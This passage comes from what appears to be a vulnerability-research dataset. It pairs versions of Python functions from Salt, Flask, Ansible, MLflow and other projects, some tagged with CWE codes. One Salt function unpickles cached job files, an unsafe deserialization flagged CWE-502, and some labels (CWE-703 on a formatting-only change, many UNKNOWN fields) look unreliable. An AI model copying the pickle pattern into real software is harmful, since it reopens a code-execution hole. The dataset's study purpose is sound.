            if kwargs.get('format', 'xml') == 'xml':
                kwargs['config'] = to_ele(kwargs['config'])

        try:
            return self.m.load_configuration(*args, **kwargs).data_xml
        except RPCError as exc:
            raise Exception(to_xml(exc.xml))",,ansible/ansible,9aa8c652ba12573e09810ee86c700f0b7420e830,"def load_configuration(self, *args, **kwargs):
        """"""Loads given configuration on device
        :format: Format of configuration (xml, text, set)
        :action: Action to be performed (merge, replace, override, update)
        :target: is the name of the configuration datastore being edited
        :config: is the configuration in string format.""""""
        if kwargs.get('config'):
            kwargs['config'] = to_bytes(kwargs['config'], errors='surrogate_or_strict')
            if kwargs.get('format', 'xml') == 'xml':
                kwargs['config'] = to_ele(kwargs['config'])

        try:
            return self.m.load_configuration(*args, **kwargs).data_xml
        except RPCError as exc:
            raise Exception(to_xml(exc.xml))"
,UNKNOWN,UNKNOWN,salt/client.py,1,"def get_returns(self, jid, minions, timeout=5):
        '''
        This method starts off a watcher looking at the return data for a
        specified jid
        '''
        jid_dir = os.path.join(self.opts['cachedir'], 'jobs', jid)
        start = int(time.time())
        ret = {}
        # Wait for the hosts to check in
        while True:
            for fn_ in os.listdir(jid_dir):
                if fn_.startswith('.'):
                    continue
                if not ret.has_key(fn_):
                    ret[fn_] = pickle.loads(open(os.path.join(jid_dir,
                        fn_, 'return.p'), 'r'))
            if len(ret) >= len(minions):
                return ret
            if int(time.time()) > start + timeout:
                return ret
            time.sleep(0.02)",CWE-502,saltstack/salt,e03bb7b29a1373c54ac4c22ac623d4b4867f4246,"def get_returns(self, jid, minions, timeout=5):
        '''
        This method starts off a watcher looking at the return data for a
        specified jid
        '''
        jid_dir = os.path.join(self.opts['cachedir'], 'jobs', jid)
        start = int(time.time())
        ret = {}
        # Wait for the hosts to check in
        while True:
            for fn_ in os.listdir(jid_dir):
                if not ret.has_key(fn_):
                    ret[fn_] = pickle.loads(open(os.path.join(jid_dir,
                        fn_, 'return.p'), 'r'))
            if len(ret) >= len(minions):
                return ret
            if int(time.time()) > start + timeout:
                return ret
            time.sleep(0.02)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def safe_join(directory, *pathnames):
    """"""Safely join `directory` and zero or more untrusted `pathnames`
    components.

    Example usage::

        @app.route('/wiki/<path:filename>')
        def wiki_page(filename):
            filename = safe_join(app.config['WIKI_FOLDER'], filename)
            with open(filename, 'rb') as fd:
                content = fd.read()  # Read and process the file content...

    :param directory: the trusted base directory.
    :param pathnames: the untrusted pathnames relative to that directory.
    :raises: :class:`~werkzeug.exceptions.NotFound` if one or more passed
            paths fall out of its boundaries.
    """"""

    parts = [directory]

    for filename in pathnames:
        if filename != '':
            filename = posixpath.normpath(filename)

        if (
            any(sep in filename for sep in _os_alt_seps)
            or os.path.isabs(filename)
            or filename == '..'
            or filename.startswith('../')
        ):
            raise NotFound()

        parts.append(filename)

    return posixpath.join(*parts)",,pallets/flask,f7c35bf0d51d1ae02709e39fe29110e12f64fb87,"def safe_join(directory, *pathnames):
    """"""Safely join `directory` and zero or more untrusted `pathnames`
    components.

    Example usage::

        @app.route('/wiki/<path:filename>')
        def wiki_page(filename):
            filename = safe_join(app.config['WIKI_FOLDER'], filename)
            with open(filename, 'rb') as fd:
                content = fd.read()  # Read and process the file content...

    :param directory: the trusted base directory.
    :param pathnames: the untrusted pathnames relative to that directory.
    :raises: :class:`~werkzeug.exceptions.NotFound` if one or more passed
            paths fall out of its boundaries.
    """"""
    for filename in pathnames:
        if filename != '':
            filename = posixpath.normpath(filename)
        for sep in _os_alt_seps:
            if sep in filename:
                raise NotFound()
        if os.path.isabs(filename) or \
           filename == '..' or \
           filename.startswith('../'):
            raise NotFound()
        directory = os.path.join(directory, filename)
    return directory"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_bigquery.py,0,"def test_bigquery_insert_job_operator_execute_complete(self, create_task_instance_of_operator):
        """"""Asserts that logging occurs as expected""""""
        configuration = {
            ""query"": {
                ""query"": ""SELECT * FROM any"",
                ""useLegacySql"": False,
            }
        }
        job_id = ""123456""

        ti = create_task_instance_of_operator(
            BigQueryInsertJobOperator,
            dag_id=""dag_id"",
            task_id=""insert_query_job"",
            configuration=configuration,
            location=TEST_DATASET_LOCATION,
            job_id=job_id,
            project_id=TEST_GCP_PROJECT_ID,
            deferrable=True,
        )
        operator = ti.task
        with mock.patch.object(operator.log, ""info"") as mock_log_info:
            operator.execute_complete(
                context=MagicMock(),
                event={""status"": ""success"", ""message"": ""Job completed"", ""job_id"": job_id},
            )
        mock_log_info.assert_called_with(
            ""%s completed with response %s "", ""insert_query_job"", ""Job completed""
        )",CWE-Unknown,apache/airflow,db16eeb6efd6006efc94d2ec9f7740fe96edf37c,"def test_bigquery_insert_job_operator_execute_complete(self, create_task_instance_of_operator):
        """"""Asserts that logging occurs as expected""""""
        configuration = {
            ""query"": {
                ""query"": ""SELECT * FROM any"",
                ""useLegacySql"": False,
            }
        }
        job_id = ""123456""

        ti = create_task_instance_of_operator(
            BigQueryInsertJobOperator,
            dag_id=""dag_id"",
            task_id=""insert_query_job"",
            configuration=configuration,
            location=TEST_DATASET_LOCATION,
            job_id=job_id,
            project_id=TEST_GCP_PROJECT_ID,
            deferrable=True,
        )
        operator = ti.task
        with mock.patch.object(operator.log, ""info"") as mock_log_info:
            operator.execute_complete(
                context=MagicMock(),
                event={""status"": ""success"", ""message"": ""Job completed"", ""job_id"": job_id},
            )
        mock_log_info.assert_called_with(
            ""%s completed with response %s "", ""insert_query_job"", ""Job completed""
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/cloudengine/ce_facts.py,0,"def populate(self):
        """""" Populate method """"""

        super(Default, self).populate()

        data = self.responses[0]
        if data:
            version = data.split(""\n"")
            for item in version:
                if re.findall(r""^\d+\S\s+"", item.strip()):
                    tmp_item = item.split()
                    tmp_key = tmp_item[1] + "" "" + tmp_item[2]
                    if len(tmp_item) > 5:
                        self.facts[tmp_key] = "" "".join(tmp_item[4:])
                    else:
                        self.facts[tmp_key] = tmp_item[4]

        data = self.responses[1]
        if data:
            tmp_value = re.findall(r'sysname (.*)', data)
            self.facts['hostname'] = tmp_value[0]",,ansible/ansible,235aa2b85b729e89709664bf9635141afe76bb56,"def populate(self):
        """""" Populate method """"""

        super(Default, self).populate()

        data = self.responses[0]
        if data:
            version = data.split(""\n"")
            tmp_version = version[11:]
            for item in tmp_version:
                tmp_item = item.split()
                tmp_key = tmp_item[1] + "" "" + tmp_item[2]
                self.facts[tmp_key] = tmp_item[4]

        data = self.responses[1]
        if data:
            tmp_value = re.findall(r'sysname (.*)', data)
            self.facts['hostname'] = tmp_value[0]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/grains/core.py,0,"def os_data():
    '''
    Return grains pertaining to the operating system
    '''
    grains = {}
    if 'os' in os.environ:
        if os.environ['os'].startswith('Windows'):
            grains['os'] = 'Windows'
            grains['kernel'] = 'Windows'
            return grains
    grains.update(_kernel())

    if grains['kernel'] == 'Linux':
        # Add lsb grains on any distro with lsb-release
        if os.path.isfile('/etc/lsb-release'):
            for line in open('/etc/lsb-release').readlines():
                # Matches any possible format:
                #     DISTRIB_ID=""Ubuntu""
                #     DISTRIB_ID='Mageia'
                #     DISTRIB_ID=Fedora
                #     DISTRIB_RELEASE='10.10'
                #     DISTRIB_CODENAME='squeeze'
                #     DISTRIB_DESCRIPTION='Ubuntu 10.10'
                regex = re.compile('^(DISTRIB_(?:ID|RELEASE|CODENAME|DESCRIPTION))=(?:\'|"")?([\w\s\.-_]+)(?:\'|"")?')
                match = regex.match(line)
                if match:
                    # Adds: lsb_distrib_{id,release,codename,description}
                    grains['lsb_{0}'.format(match.groups()[0].lower())] = match.groups()[1].rstrip()
        if os.path.isfile('/etc/arch-release'):
            grains['os'] = 'Arch'
        elif os.path.isfile('/etc/debian_version'):
            grains['os'] = 'Debian'
            if 'lsb_distrib_id' in grains:
                if 'Ubuntu' in grains['lsb_distrib_id']:
                    grains['os'] = 'Ubuntu'
                elif os.path.isfile('/etc/issue.net') and \
                  'Ubuntu' in open('/etc/issue.net').readline():
                    grains['os'] = 'Ubuntu'
        elif os.path.isfile('/etc/gentoo-release'):
            grains['os'] = 'Gentoo'
        elif os.path.isfile('/etc/fedora-release'):
            grains['os'] = 'Fedora'
        elif os.path.isfile('/etc/mandriva-version'):
            grains['os'] = 'Mandriva'
        elif os.path.isfile('/etc/mandrake-version'):
            grains['os'] = 'Mandrake'
        elif os.path.isfile('/etc/mageia-version'):
            grains['os'] = 'Mageia'
        elif os.path.isfile('/etc/meego-version'):
            grains['os'] = 'MeeGo'
        elif os.path.isfile('/etc/vmware-version'):
            grains['os'] = 'VMWareESX'
        elif os.path.isfile('/etc/bluewhite64-version'):
            grains['os'] = 'Bluewhite64'
        elif os.path.isfile('/etc/slamd64-version'):
            grains['os'] = 'Slamd64'
        elif os.path.isfile('/etc/slackware-version'):
            grains['os'] = 'Slackware'
        elif os.path.isfile('/etc/enterprise-release'):
            if os.path.isfile('/etc/ovs-release'):
                grains['os'] = 'OVS'
            else:
                grains['os'] = 'OEL'
        elif os.path.isfile('/etc/redhat-release'):
            data = open('/etc/redhat-release', 'r').read()
            if 'centos' in data.lower():
                grains['os'] = 'CentOS'
            elif 'scientific' in data.lower():
                grains['os'] = 'Scientific'
            else:
                grains['os'] = 'RedHat'
        elif os.path.isfile('/etc/SuSE-release'):
            data = open('/etc/SuSE-release', 'r').read()
            if 'SUSE LINUX Enterprise Server' in data:
                grains['os'] = 'SLES'
            elif 'SUSE LINUX Enterprise Desktop' in data:
                grains['os'] = 'SLED'
            elif 'openSUSE' in data:
                grains['os'] = 'openSUSE'
            else:
                grains['os'] = 'SUSE'
        # Use the already intelligent platform module to get distro info
        grains.update(_linux_platform_data(grains))
        # If the Linux version can not be determined
        if not 'os' in grains:
            grains['os'] = 'Unknown {0}'.format(grains['kernel'])
    elif grains['kernel'] == 'sunos':
        grains['os'] = 'Solaris'
    elif grains['kernel'] == 'VMkernel':
        grains['os'] = 'ESXi'
    elif grains['kernel'] == 'Darwin':
        grains['os'] = 'MacOS'
    else:
        grains['os'] = grains['kernel']
    if grains['kernel'] == 'Linux':
        grains.update(_linux_cpudata())
    elif grains['kernel'] in ('FreeBSD', 'OpenBSD'):
        # _freebsd_cpudata works on OpenBSD as well.
        grains.update(_freebsd_cpudata())

    grains.update(_memdata(grains))
    # Load the virtual machine info
    grains.update(_virtual(grains))
    grains.update(_ps(grains))

    return grains",,saltstack/salt,a75031c5afd6a0cd10d6e5e663d4624b09567d24,"def os_data():
    '''
    Return grains pertaining to the operating system
    '''
    grains = {}
    if 'os' in os.environ:
        if os.environ['os'].startswith('Windows'):
            grains['os'] = 'Windows'
            grains['kernel'] = 'Windows'
            return grains
    grains.update(_kernel())

    if grains['kernel'] == 'Linux':
        # Add lsb grains on any distro with lsb-release
        if os.path.isfile('/etc/lsb-release'):
            for line in open('/etc/lsb-release').readlines():
                # Matches any possible format:
                #     DISTRIB_ID='Ubuntu'
                #     DISTRIB_ID='Mageia'
                #     DISTRIB_ID='Fedora'
                #     DISTRIB_RELEASE='10.10'
                #     DISTRIB_CODENAME='squeeze'
                #     DISTRIB_DESCRIPTION='Ubuntu 10.10'
                regex = re.compile('^(DISTRIB_(?:ID|RELEASE|CODENAME|DESCRIPTION))=(?:\'|"")?([\w\s\.-_]+)(?:\'|"")?')
                match = regex.match(line)
                if match:
                    # Adds: lsb_distrib_{id,release,codename,description}
                    grains['lsb_{0}'.format(match.groups()[0].lower())] = match.groups()[1].rstrip()
        if os.path.isfile('/etc/arch-release'):
            grains['os'] = 'Arch'
        elif os.path.isfile('/etc/debian_version'):
            grains['os'] = 'Debian'
            if 'lsb_distrib_id' in grains:
                if 'Ubuntu' in grains['lsb_distrib_id']:
                    grains['os'] = 'Ubuntu'
                elif os.path.isfile('/etc/issue.net') and \
                  'Ubuntu' in open('/etc/issue.net').readline():
                    grains['os'] = 'Ubuntu'
        elif os.path.isfile('/etc/gentoo-release'):
            grains['os'] = 'Gentoo'
        elif os.path.isfile('/etc/fedora-release'):
            grains['os'] = 'Fedora'
        elif os.path.isfile('/etc/mandriva-version'):
            grains['os'] = 'Mandriva'
        elif os.path.isfile('/etc/mandrake-version'):
            grains['os'] = 'Mandrake'
        elif os.path.isfile('/etc/mageia-version'):
            grains['os'] = 'Mageia'
        elif os.path.isfile('/etc/meego-version'):
            grains['os'] = 'MeeGo'
        elif os.path.isfile('/etc/vmware-version'):
            grains['os'] = 'VMWareESX'
        elif os.path.isfile('/etc/bluewhite64-version'):
            grains['os'] = 'Bluewhite64'
        elif os.path.isfile('/etc/slamd64-version'):
            grains['os'] = 'Slamd64'
        elif os.path.isfile('/etc/slackware-version'):
            grains['os'] = 'Slackware'
        elif os.path.isfile('/etc/enterprise-release'):
            if os.path.isfile('/etc/ovs-release'):
                grains['os'] = 'OVS'
            else:
                grains['os'] = 'OEL'
        elif os.path.isfile('/etc/redhat-release'):
            data = open('/etc/redhat-release', 'r').read()
            if 'centos' in data.lower():
                grains['os'] = 'CentOS'
            elif 'scientific' in data.lower():
                grains['os'] = 'Scientific'
            else:
                grains['os'] = 'RedHat'
        elif os.path.isfile('/etc/SuSE-release'):
            data = open('/etc/SuSE-release', 'r').read()
            if 'SUSE LINUX Enterprise Server' in data:
                grains['os'] = 'SLES'
            elif 'SUSE LINUX Enterprise Desktop' in data:
                grains['os'] = 'SLED'
            elif 'openSUSE' in data:
                grains['os'] = 'openSUSE'
            else:
                grains['os'] = 'SUSE'
        # Use the already intelligent platform module to get distro info
        grains.update(_linux_platform_data(grains))
        # If the Linux version can not be determined
        if not 'os' in grains:
            grains['os'] = 'Unknown {0}'.format(grains['kernel'])
    elif grains['kernel'] == 'sunos':
        grains['os'] = 'Solaris'
    elif grains['kernel'] == 'VMkernel':
        grains['os'] = 'ESXi'
    elif grains['kernel'] == 'Darwin':
        grains['os'] = 'MacOS'
    else:
        grains['os'] = grains['kernel']
    if grains['kernel'] == 'Linux':
        grains.update(_linux_cpudata())
    elif grains['kernel'] in ('FreeBSD', 'OpenBSD'):
        # _freebsd_cpudata works on OpenBSD as well.
        grains.update(_freebsd_cpudata())

    grains.update(_memdata(grains))
    # Load the virtual machine info
    grains.update(_virtual(grains))
    grains.update(_ps(grains))

    return grains"
,UNKNOWN,UNKNOWN,tests/test_basic.py,1,"def test_routing_redirect_debugging(app, client):
    app.debug = True

    @app.route(""/foo/"", methods=[""GET"", ""POST""])
    def foo():
        return ""success""

    with client:
        with pytest.raises(AssertionError) as e:
            client.post(""/foo"", data={})
        assert ""http://localhost/foo/"" in str(e.value)
        assert ""Make sure to directly send your POST-request to this URL"" in str(
            e.value
        )

        rv = client.get(""/foo"", data={}, follow_redirects=True)
        assert rv.data == b""success""

    app.debug = False
    with client:
        rv = client.post(""/foo"", data={}, follow_redirects=True)
        assert rv.data == b""success""",CWE-703,pallets/flask,986871bf4eb85ae62124e71ed579b6baa0ddaeae,"def test_routing_redirect_debugging(app, client):
    app.debug = True

    @app.route(""/foo/"", methods=[""GET"", ""POST""])
    def foo():
        return ""success""

    with client:
        with pytest.raises(AssertionError) as e:
            client.post(""/foo"", data={})
        assert ""http://localhost/foo/"" in str(e.value)
        assert (""Make sure to directly send your POST-request to this URL"") in str(
            e.value
        )

        rv = client.get(""/foo"", data={}, follow_redirects=True)
        assert rv.data == b""success""

    app.debug = False
    with client:
        rv = client.post(""/foo"", data={}, follow_redirects=True)
        assert rv.data == b""success"""
,UNKNOWN,UNKNOWN,tornado/gen.py,1,"def final_callback(value):
                        if value is not None:
                            raise ReturnValueIgnoredError(
                                ""@gen.engine functions cannot return values: ""
                                ""%r"" % (value,))
                        assert value is None
                        deactivate()",CWE-703,tornadoweb/tornado,85478c54496a2097164ca33c9eaca096d14e5b8f,"def final_callback(value):
                        if value is not None:
                            raise ReturnValueIgnoredError(
                                ""@gen.engine functions cannot return values: ""
                                ""%r"" % result)
                        assert value is None
                        deactivate()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/fastai/__init__.py,0,"def save_model(
    fastai_learner,
    path,
    conda_env=None,
    code_paths=None,
    mlflow_model=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
    **kwargs,
):
    """"""
    Save a fastai Learner to a path on the local file system.

    :param fastai_learner: fastai Learner to be saved.
    :param path: Local path where the model is to be saved.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param mlflow_model: MLflow model config this flavor is being added to.

    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        train = df.drop_column(""target_label"")
                        predictions = ...  # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.

    :param kwargs: kwargs to pass to ``Learner.save`` method.

    .. code-block:: python
        :caption: Example

        import os

        import mlflow.fastai

        # Create a fastai Learner model
        model = ...

        # Start MLflow session and save model to current working directory
        with mlflow.start_run():
            model.fit(epochs, learning_rate)
            mlflow.fastai.save_model(model, ""model"")

        # Load saved model for inference
        model_uri = ""{}/{}"".format(os.getcwd(), ""model"")
        loaded_model = mlflow.fastai.load_model(model_uri)
        results = loaded_model.predict(predict_data)
    """"""
    import fastai
    from fastai.callback.all import ParamScheduler
    from pathlib import Path

    _validate_env_arguments(conda_env, pip_requirements, extra_pip_requirements)

    path = os.path.abspath(path)
    _validate_and_prepare_target_save_path(path)
    model_data_subpath = ""model.fastai""
    model_data_path = os.path.join(path, model_data_subpath)
    model_data_path = Path(model_data_path)
    code_dir_subpath = _validate_and_copy_code_paths(code_paths, path)

    if mlflow_model is None:
        mlflow_model = Model()
    if signature is not None:
        mlflow_model.signature = signature
    if input_example is not None:
        _save_example(mlflow_model, input_example, path)
    if metadata is not None:
        mlflow_model.metadata = metadata

    # ParamScheduler currently is not pickable
    # hence it is been removed before export and added again after export
    cbs = [c for c in fastai_learner.cbs if isinstance(c, ParamScheduler)]
    fastai_learner.remove_cbs(cbs)
    fastai_learner.export(model_data_path, **kwargs)
    fastai_learner.add_cbs(cbs)

    pyfunc.add_to_model(
        mlflow_model,
        loader_module=""mlflow.fastai"",
        data=model_data_subpath,
        code=code_dir_subpath,
        conda_env=_CONDA_ENV_FILE_NAME,
        python_env=_PYTHON_ENV_FILE_NAME,
    )
    mlflow_model.add_flavor(
        FLAVOR_NAME,
        fastai_version=fastai.__version__,
        data=model_data_subpath,
        code=code_dir_subpath,
    )
    mlflow_model.save(os.path.join(path, MLMODEL_FILE_NAME))

    if conda_env is None:
        if pip_requirements is None:
            default_reqs = get_default_pip_requirements()
            # To ensure `_load_pyfunc` can successfully load the model during the dependency
            # inference, `mlflow_model.save` must be called beforehand to save an MLmodel file.
            inferred_reqs = mlflow.models.infer_pip_requirements(
                path,
                FLAVOR_NAME,
                fallback=default_reqs,
            )
            default_reqs = sorted(set(inferred_reqs).union(default_reqs))
        else:
            default_reqs = None
        conda_env, pip_requirements, pip_constraints = _process_pip_requirements(
            default_reqs,
            pip_requirements,
            extra_pip_requirements,
        )
    else:
        conda_env, pip_requirements, pip_constraints = _process_conda_env(conda_env)

    with open(os.path.join(path, _CONDA_ENV_FILE_NAME), ""w"") as f:
        yaml.safe_dump(conda_env, stream=f, default_flow_style=False)

    # Save `constraints.txt` if necessary
    if pip_constraints:
        write_to(os.path.join(path, _CONSTRAINTS_FILE_NAME), ""\n"".join(pip_constraints))

    # Save `requirements.txt`
    write_to(os.path.join(path, _REQUIREMENTS_FILE_NAME), ""\n"".join(pip_requirements))

    _PythonEnv.current().to_yaml(os.path.join(path, _PYTHON_ENV_FILE_NAME))",,mlflow/mlflow,fa39792d85ac98dc7134f460ae1c74570c4c8201,"def save_model(
    fastai_learner,
    path,
    conda_env=None,
    code_paths=None,
    mlflow_model=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
    **kwargs,
):
    """"""
    Save a fastai Learner to a path on the local file system.

    :param fastai_learner: fastai Learner to be saved.
    :param path: Local path where the model is to be saved.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param mlflow_model: MLflow model config this flavor is being added to.

    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature
                        train = df.drop_column(""target_label"")
                        predictions = ... # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.

    :param kwargs: kwargs to pass to ``Learner.save`` method.

    .. code-block:: python
        :caption: Example

        import os

        import mlflow.fastai

        # Create a fastai Learner model
        model = ...

        # Start MLflow session and save model to current working directory
        with mlflow.start_run():
            model.fit(epochs, learning_rate)
            mlflow.fastai.save_model(model, 'model')

        # Load saved model for inference
        model_uri = ""{}/{}"".format(os.getcwd(), 'model')
        loaded_model = mlflow.fastai.load_model(model_uri)
        results = loaded_model.predict(predict_data)
    """"""
    import fastai
    from fastai.callback.all import ParamScheduler
    from pathlib import Path

    _validate_env_arguments(conda_env, pip_requirements, extra_pip_requirements)

    path = os.path.abspath(path)
    _validate_and_prepare_target_save_path(path)
    model_data_subpath = ""model.fastai""
    model_data_path = os.path.join(path, model_data_subpath)
    model_data_path = Path(model_data_path)
    code_dir_subpath = _validate_and_copy_code_paths(code_paths, path)

    if mlflow_model is None:
        mlflow_model = Model()
    if signature is not None:
        mlflow_model.signature = signature
    if input_example is not None:
        _save_example(mlflow_model, input_example, path)
    if metadata is not None:
        mlflow_model.metadata = metadata

    # ParamScheduler currently is not pickable
    # hence it is been removed before export and added again after export
    cbs = [c for c in fastai_learner.cbs if isinstance(c, ParamScheduler)]
    fastai_learner.remove_cbs(cbs)
    fastai_learner.export(model_data_path, **kwargs)
    fastai_learner.add_cbs(cbs)

    pyfunc.add_to_model(
        mlflow_model,
        loader_module=""mlflow.fastai"",
        data=model_data_subpath,
        code=code_dir_subpath,
        conda_env=_CONDA_ENV_FILE_NAME,
        python_env=_PYTHON_ENV_FILE_NAME,
    )
    mlflow_model.add_flavor(
        FLAVOR_NAME,
        fastai_version=fastai.__version__,
        data=model_data_subpath,
        code=code_dir_subpath,
    )
    mlflow_model.save(os.path.join(path, MLMODEL_FILE_NAME))

    if conda_env is None:
        if pip_requirements is None:
            default_reqs = get_default_pip_requirements()
            # To ensure `_load_pyfunc` can successfully load the model during the dependency
            # inference, `mlflow_model.save` must be called beforehand to save an MLmodel file.
            inferred_reqs = mlflow.models.infer_pip_requirements(
                path,
                FLAVOR_NAME,
                fallback=default_reqs,
            )
            default_reqs = sorted(set(inferred_reqs).union(default_reqs))
        else:
            default_reqs = None
        conda_env, pip_requirements, pip_constraints = _process_pip_requirements(
            default_reqs,
            pip_requirements,
            extra_pip_requirements,
        )
    else:
        conda_env, pip_requirements, pip_constraints = _process_conda_env(conda_env)

    with open(os.path.join(path, _CONDA_ENV_FILE_NAME), ""w"") as f:
        yaml.safe_dump(conda_env, stream=f, default_flow_style=False)

    # Save `constraints.txt` if necessary
    if pip_constraints:
        write_to(os.path.join(path, _CONSTRAINTS_FILE_NAME), ""\n"".join(pip_constraints))

    # Save `requirements.txt`
    write_to(os.path.join(path, _REQUIREMENTS_FILE_NAME), ""\n"".join(pip_requirements))

    _PythonEnv.current().to_yaml(os.path.join(path, _PYTHON_ENV_FILE_NAME))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/check_mig_table.py,0,"def calculate(self):
        common.set_plugin_members(self)
       
        # we can't use an array as the size of mig_hash_entry
        # depends on if MAC_COUNTERS is set, which changes between kernels
        # mig_table_max_displ is declared directly after mig_buckets
        # which allows us to calculate the size of each entry dynamically
 
        di_addr = self.addr_space.profile.get_symbol(""_mig_table_max_displ"")
        mig_buckets_addr = self.addr_space.profile.get_symbol(""_mig_buckets"")

        ele_size = (di_addr - mig_buckets_addr) / 1024 

        for i in range(1024):
            entry = obj.Object(""mig_hash_entry"", offset = mig_buckets_addr + (i * ele_size), vm = self.addr_space)

            if entry.routine == 0:
                continue

            rname = self.addr_space.profile.get_symbol_by_address(""kernel"", entry.routine)
            if not rname or rname == """":
                rname = ""HOOKED""

            yield (entry.num, rname, entry.routine)",,volatilityfoundation/volatility,09bb6a5de6d62b2cf333232f55b3683319bd645f,"def calculate(self):
        common.set_plugin_members(self)
       
        # we can't use an array as the size of mig_hash_entry
        # depends on if MAC_COUNTERS is set, which changes between kernels
        # mig_table_max_displ is declared directly after mig_buckets
        # which allows us to calculate the size of each entry dynamically
 
        di_addr = self.addr_space.profile.get_symbol(""_mig_table_max_displ"")
        mig_buckets_addr = self.addr_space.profile.get_symbol(""_mig_buckets"")

        ele_size = (di_addr - mig_buckets_addr) / 1024 

        for i in range(1024):
            entry = obj.Object(""mig_hash_entry"", offset = mig_buckets_addr + (i * ele_size), vm = self.addr_space)

            if entry.routine == 0:
                continue

            rname = self.addr_space.profile.get_symbol_by_address(""kernel"", entry.routine)
            if not rname or rname == """":
                rname = ""HOOKED""

            yield (entry.num, rname, entry.routine)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/ioloop_test.py,0,"def test_init_close_race(self):
        # Regression test for #2367
        #
        # Skipped on windows because of what looks like a bug in the
        # proactor event loop when started and stopped on non-main
        # threads.
        def f():
            for i in range(10):
                loop = IOLoop(make_current=False)
                loop.close()

        yield gen.multi([self.io_loop.run_in_executor(None, f) for i in range(2)])",CWE-Unknown,tornadoweb/tornado,5083089eff7285d68a5eb23ed75b1fd10eee7865,"def test_init_close_race(self):
        # Regression test for #2367
        #
        # Skipped on windows because of what looks like a bug in the
        # proactor event loop when started and stopped on non-main
        # threads.
        def f():
            for i in range(10):
                loop = IOLoop()
                loop.close()

        yield gen.multi([self.io_loop.run_in_executor(None, f) for i in range(2)])"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/fingerprint_404.py,0,"def lru_404_cache(wrapped_method):

    @wraps(wrapped_method)
    def inner(self, http_response):
        path = http_response.get_uri()

        if path in self.is_404_LRU:
            return self.is_404_LRU[path]
        else:
            result = wrapped_method(self, http_response)
            self.is_404_LRU[path] = result
            return result

    return inner",,andresriancho/w3af,db5aec81b912b3398b05a68899f0db2b344ae785,"def lru_404_cache(wrapped_method):

    @wraps(wrapped_method)
    def inner(self, http_response):
        path = http_response.get_url().get_path()

        if path in self.is_404_LRU:
            return self.is_404_LRU[path]
        else:
            result = wrapped_method(self, http_response)
            self.is_404_LRU[path] = result
            return result

    return inner"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_spark.py,1,"def test_spark_udf_infer_return_type(spark, tmp_path):
    class MyModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input):
            return model_input

    schema = StructType(
        [
            StructField(
                ""str"",
                StringType(),
            ),
            StructField(
                ""arr"",
                ArrayType(IntegerType()),
            ),
            StructField(
                ""obj"",
                StructType(
                    [
                        StructField(""bool"", BooleanType()),
                        StructField(""obj2"", StructType([StructField(""str"", StringType())])),
                    ]
                ),
            ),
            StructField(
                ""obj_arr"",
                ArrayType(
                    StructType(
                        [
                            StructField(""double"", DoubleType()),
                        ]
                    )
                ),
            ),
        ]
    )
    df = spark.createDataFrame(
        [
            (
                ""a"",
                [0],
                {""bool"": True, ""obj2"": {""str"": ""some_string""}},
                [{""double"": 0.1}],
            ),
            (
                ""b"",
                [1],
                {""bool"": False, ""obj2"": {""str"": ""another_string""}},
                [{""double"": 0.2}, {""double"": 0.3}],
            ),
        ],
        schema=schema,
    )

    signature = mlflow.models.infer_signature(df, df)
    mlflow.pyfunc.save_model(
        path=tmp_path,
        python_model=MyModel(),
        signature=signature,
    )

    udf = mlflow.pyfunc.spark_udf(spark=spark, model_uri=tmp_path)
    df = df.withColumn(""output"", udf(""str"", ""arr"", ""obj"", ""obj_arr""))
    assert df.schema[""output""] == StructField(""output"", schema)
    pdf = df.toPandas()
    assert pdf[""output""][0] == (""a"", [0], (True, (""some_string"",)), [(0.1,)])
